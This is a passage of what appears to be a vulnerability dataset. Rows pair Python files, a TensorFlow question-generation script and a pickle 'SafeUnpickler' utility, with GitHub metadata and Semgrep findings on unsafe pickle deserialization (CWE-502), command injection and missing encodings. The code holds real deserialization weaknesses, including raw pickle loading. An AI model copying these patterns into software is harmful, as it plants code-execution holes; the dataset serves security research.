"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess funct... | [
7.5,
7.5,
7.5,
7.5,
7.5,
7.5
] | [
"LOW",
"MEDIUM",
"HIGH",
"LOW",
"MEDIUM",
"HIGH"
] | [
"HIGH",
"MEDIUM",
"LOW",
"HIGH",
"MEDIUM",
"LOW"
] | sam_records_json_reports.py | /sam_records_json_reports.py | Varigarble/serial-number-format-validator | Apache-2.0 | |
2024-11-18T20:16:05.162325+00:00 | 1,595,052,734,000 | b6ec9fe5bee30d885bf25791ae32db5d0c635dcf | 2 | {
"blob_id": "b6ec9fe5bee30d885bf25791ae32db5d0c635dcf",
"branch_name": "refs/heads/master",
"committer_date": 1595052734000,
"content_id": "0bfac47bde911cc38d5ef921f6060fa37673206b",
"detected_licenses": [
"MIT"
],
"directory_id": "a8b0832819d97010a071ff59615aa6fd163f4eca",
"extension": "py",
"filename": "main.py",
"fork_events_count": 15,
"gha_created_at": 1526606332000,
"gha_event_created_at": 1553235784000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 133886081,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7982,
"license": "MIT",
"license_type": "permissive",
"path": "/main.py",
"provenance": "stack-edu-0054.json.gz:570923",
"repo_name": "yanghoonkim/NQG_ASs2s",
"revision_date": 1595052734000,
"revision_id": "72149a666fd0a355e9a3f3813021f3f78c8bb02b",
"snapshot_id": "06c9f97152ddfe9bbb15b253bc2ba92ab07c0b3b",
"src_encoding": "UTF-8",
"star_events_count": 57,
"url": "https://raw.githubusercontent.com/yanghoonkim/NQG_ASs2s/72149a666fd0a355e9a3f3813021f3f78c8bb02b/main.py",
"visit_date": "2021-07-07T06:28:29.411075"
} | 2.390625 | stackv2 | import argparse
import pickle as pkl
import numpy as np
import tensorflow as tf
import params
import model as model
FLAGS = None
def remove_eos(sentence, eos = '<EOS>', pad = '<PAD>'):
if eos in sentence:
return sentence[:sentence.index(eos)] + '\n'
elif pad in sentence:
return sentence[:sentence.index(pad)] + '\n'
else:
return sentence + '\n'
def write_result(predict_results, dic_path):
print 'Load dic file...'
with open(dic_path) as dic:
dic_file = pkl.load(dic)
reversed_dic = dict((y,x) for x,y in dic_file.iteritems())
print 'Writing into file...'
with open(FLAGS.pred_dir, 'w') as f:
while True:
try :
output = predict_results.next()
output = output['question'].tolist()
if -1 in output: # beam search
output = output[:output.index(-1)]
indices = [reversed_dic[index] for index in output]
sentence = ' '.join(indices)
sentence = remove_eos(sentence)
f.write(sentence.encode('utf-8'))
except StopIteration:
break
def main(unused):
# Enable logging for tf.estimator
tf.logging.set_verbosity(tf.logging.INFO)
# Config
config = tf.contrib.learn.RunConfig(
model_dir = FLAGS.model_dir,
keep_checkpoint_max = 3,
save_checkpoints_steps = 100)
# Load parameters
model_params = getattr(params, FLAGS.params)().values()
# Add embedding path to model_params
model_params['embedding'] = FLAGS.embedding
# Define estimator
nn = tf.estimator.Estimator(model_fn=model.q_generation, config = config, params=model_params)
# Load training data
train_sentence = np.load(FLAGS.train_sentence) # train_data
train_question = np.load(FLAGS.train_question) # train_label
train_answer = np.load(FLAGS.train_answer)
train_sentence_length = np.load(FLAGS.train_sentence_length)
train_question_length = np.load(FLAGS.train_question_length)
train_answer_length = np.load(FLAGS.train_answer_length)
# Data shuffling for training data
permutation = np.random.permutation(len(train_sentence))
train_sentence = train_sentence[permutation]
train_question = train_question[permutation]
train_answer = train_answer[permutation]
train_sentence_length = train_sentence_length[permutation]
train_question_length = train_question_length[permutation]
train_answer_length = train_answer_length[permutation]
# Training input function for estimator
train_input_fn = tf.estimator.inputs.numpy_input_fn(
x={"s": train_sentence, 'q': train_question, 'a': train_answer,
'len_s': train_sentence_length, 'len_q': train_question_length, 'len_a': train_answer_length},
y=train_sentence, # useless value
batch_size = model_params['batch_size'],
num_epochs=FLAGS.num_epochs,
shuffle=True)
# Load evaluation data
eval_sentence = np.load(FLAGS.eval_sentence)
eval_question = np.load(FLAGS.eval_question)
eval_answer = np.load(FLAGS.eval_answer)
eval_sentence_length = np.load(FLAGS.eval_sentence_length)
eval_question_length = np.load(FLAGS.eval_question_length)
eval_answer_length = np.load(FLAGS.eval_answer_length)
# Evaluation input function for estimator
eval_input_fn = tf.estimator.inputs.numpy_input_fn(
x = {"s": eval_sentence, 'q': eval_question, 'a': eval_answer,
'len_s': eval_sentence_length, 'len_q': eval_question_length, 'len_a': eval_answer_length},
y = None,
batch_size = model_params['batch_size'],
num_epochs=1,
shuffle=False)
# define experiment
exp_nn = tf.contrib.learn.Experiment(
estimator = nn,
train_input_fn = train_input_fn,
eval_input_fn = eval_input_fn,
train_steps = None,
min_eval_frequency = 100)
# train and evaluate
if FLAGS.mode == 'train':
exp_nn.train_and_evaluate()
elif FLAGS.mode == 'eval':
exp_nn.evaluate(delay_secs = 0)
else: # 'pred'
# Load test data
test_sentence = np.load(FLAGS.test_sentence)
test_answer = np.load(FLAGS.test_answer)
test_sentence_length = np.load(FLAGS.test_sentence_length)
test_answer_length = np.load(FLAGS.test_answer_length)
# prediction input function for estimator
pred_input_fn = tf.estimator.inputs.numpy_input_fn(
x = {"s" : test_sentence, 'a': test_answer,
'len_s': test_sentence_length, 'len_a': test_answer_length},
y = None,
batch_size = model_params['batch_size'],
num_epochs = 1,
shuffle = False)
# prediction
predict_results = nn.predict(input_fn = pred_input_fn)
# write result(question) into file
write_result(predict_results, FLAGS.dictionary)
#print_result(predict_results)
if __name__ == '__main__':
base_path = 'data/processed/mpqg_substitute_a_vocab_include_a/'
parser = argparse.ArgumentParser()
parser.add_argument('--mode', type = str, default = 'train', help = 'train, eval')
parser.add_argument('--train_sentence', type = str, default= base_path + 'train_sentence.npy', help = 'path to the training sentence.')
parser.add_argument('--train_question', type = str, default = base_path + 'train_question.npy', help = 'path to the training question.')
parser.add_argument('--train_answer', type = str, default = base_path + 'train_answer.npy', help = 'path to the training answer')
parser.add_argument('--train_sentence_length', type = str, default = base_path + 'train_length_sentence.npy')
parser.add_argument('--train_question_length', type = str, default = base_path + 'train_length_question.npy')
parser.add_argument('--train_answer_length', type = str, default = base_path + 'train_length_answer.npy')
parser.add_argument('--eval_sentence', type = str, default = base_path + 'dev_sentence.npy', help = 'path to the evaluation sentence. ')
parser.add_argument('--eval_question', type = str, default = base_path + 'dev_question.npy', help = 'path to the evaluation question.')
parser.add_argument('--eval_answer', type = str, default = base_path + 'dev_answer.npy', help = 'path to the evaluation answer')
parser.add_argument('--eval_sentence_length', type = str, default = base_path + 'dev_length_sentence.npy')
parser.add_argument('--eval_question_length', type = str, default = base_path + 'dev_length_question.npy')
parser.add_argument('--eval_answer_length', type = str, default = base_path + 'dev_length_answer.npy')
parser.add_argument('--test_sentence', type = str, default = base_path + 'test_sentence.npy', help = 'path to the test sentence.')
parser.add_argument('--test_answer', type = str, default = base_path + 'test_answer.npy', help = 'path to the test answer')
parser.add_argument('--test_sentence_length', type = str, default = base_path + 'test_length_sentence.npy')
parser.add_argument('--test_answer_length', type = str, default = base_path + 'test_length_answer.npy')
parser.add_argument('--embedding', type = str, default = base_path + 'glove840b_vocab300.npy')
parser.add_argument('--dictionary', type = str, default = base_path + 'vocab.dic', help = 'path to the dictionary')
parser.add_argument('--model_dir', type = str, help = 'path to save the model')
parser.add_argument('--params', type = str, help = 'parameter setting')
parser.add_argument('--pred_dir', type = str, default = 'result/predictions.txt', help = 'path to save the predictions')
parser.add_argument('--num_epochs', type = int, default = 8, help = 'training epoch size')
FLAGS = parser.parse_args()
tf.app.run(main)
| 172 | 45.41 | 140 | 19 | 1,761 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_bbddfff95784592f_c805a0b5", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 21, "line_end": 21, "column_start": 10, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/bbddfff95784592f.py", "start": {"line": 21, "col": 10, "offset": 469}, "end": {"line": 21, "col": 24, "offset": 483}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_bbddfff95784592f_190b9520", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 20, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/bbddfff95784592f.py", "start": {"line": 22, "col": 20, "offset": 511}, "end": {"line": 22, "col": 33, "offset": 524}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_bbddfff95784592f_9791598a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 10, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/bbddfff95784592f.py", "start": {"line": 26, "col": 10, "offset": 635}, "end": {"line": 26, "col": 35, "offset": 660}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
22
] | [
22
] | [
20
] | [
33
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | main.py | /main.py | yanghoonkim/NQG_ASs2s | MIT | |
2024-11-18T20:16:05.820351+00:00 | 1,435,580,900,000 | 0f8f8c2a132dc4b5f32f59e3caeec2ca41fa62fd | 2 | {
"blob_id": "0f8f8c2a132dc4b5f32f59e3caeec2ca41fa62fd",
"branch_name": "refs/heads/master",
"committer_date": 1435580900000,
"content_id": "3d645751e738fe862b42f2f2f4e85fd3d1f828ce",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "48894ae68f0234e263d325470178d67ab313c73e",
"extension": "py",
"filename": "utils.py",
"fork_events_count": 0,
"gha_created_at": 1516720791000,
"gha_event_created_at": 1516720791000,
"gha_language": null,
"gha_license_id": null,
"github_id": 118628133,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2347,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/pm/pmwriter/utils.py",
"provenance": "stack-edu-0054.json.gz:570932",
"repo_name": "DreamerDDL/noc",
"revision_date": 1435580900000,
"revision_id": "2ab0ab7718bb7116da2c3953efd466757e11d9ce",
"snapshot_id": "7f949f55bb2c02c15ac2cc46bc62d957aee43a86",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/DreamerDDL/noc/2ab0ab7718bb7116da2c3953efd466757e11d9ce/pm/pmwriter/utils.py",
"visit_date": "2021-05-10T18:22:53.678588"
} | 2.328125 | stackv2 | ## -*- coding: utf-8 -*-
##----------------------------------------------------------------------
## Various utilities
##----------------------------------------------------------------------
## Copyright (C) 2007-2014 The NOC Project
## See LICENSE for details
##----------------------------------------------------------------------
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
try:
import cPickle as pickle
HAS_CPICKLE = True
except:
import pickle
HAS_CPICKLE = False
## Safe unpickler
if HAS_CPICKLE:
class SafeUnpickler(object):
PICKLE_SAFE = {
"copy_reg": set(["_reconstructor"]),
"__builtin__": set(["object"]),
}
@classmethod
def find_class(cls, module, name):
if not module in cls.PICKLE_SAFE:
raise pickle.UnpicklingError(
"Attempting to unpickle unsafe module %s" % module)
__import__(module)
mod = sys.modules[module]
if not name in cls.PICKLE_SAFE[module]:
raise pickle.UnpicklingError(
"Attempting to unpickle unsafe class %s" % name)
return getattr(mod, name)
@classmethod
def loads(cls, pickle_string):
pickle_obj = pickle.Unpickler(StringIO(pickle_string))
pickle_obj.find_global = cls.find_class
return pickle_obj.load()
else:
class SafeUnpickler(pickle.Unpickler):
PICKLE_SAFE = {
"copy_reg": set(["_reconstructor"]),
"__builtin__": set(["object"]),
}
def find_class(self, module, name):
if not module in self.PICKLE_SAFE:
raise pickle.UnpicklingError(
"Attempting to unpickle unsafe module %s" % module)
__import__(module)
mod = sys.modules[module]
if not name in self.PICKLE_SAFE[module]:
raise pickle.UnpicklingError(
"Attempting to unpickle unsafe class %s" % name)
return getattr(mod, name)
@classmethod
def loads(cls, pickle_string):
return cls(StringIO(pickle_string)).load()
def get_unpickler(insecure=False):
if insecure:
return pickle
else:
return SafeUnpickler
| 75 | 30.29 | 72 | 17 | 480 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_a3748e6309cda9f2_794f8130", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 35, "column_start": 23, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 34, "col": 23, "offset": 868}, "end": {"line": 35, "col": 72, "offset": 963}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a3748e6309cda9f2_a6a554b7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 35, "column_start": 23, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 34, "col": 23, "offset": 868}, "end": {"line": 35, "col": 72, "offset": 963}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_a3748e6309cda9f2_560cbff1", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 40, "column_start": 23, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 39, "col": 23, "offset": 1107}, "end": {"line": 40, "col": 69, "offset": 1199}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a3748e6309cda9f2_e4af398f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 39, "line_end": 40, "column_start": 23, "column_end": 69, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 39, "col": 23, "offset": 1107}, "end": {"line": 40, "col": 69, "offset": 1199}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_a3748e6309cda9f2_6c874491", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 26, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 45, "col": 26, "offset": 1324}, "end": {"line": 45, "col": 67, "offset": 1365}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a3748e6309cda9f2_321a53bf", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 26, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 45, "col": 26, "offset": 1324}, "end": {"line": 45, "col": 67, "offset": 1365}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_a3748e6309cda9f2_edb0c5e9", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 58, "column_start": 23, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 57, "col": 23, "offset": 1745}, "end": {"line": 58, "col": 72, "offset": 1840}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_a3748e6309cda9f2_9174550c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 58, "column_start": 23, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/a3748e6309cda9f2.py", "start": {"line": 57, "col": 23, "offset": 1745}, "end": {"line": 58, "col": 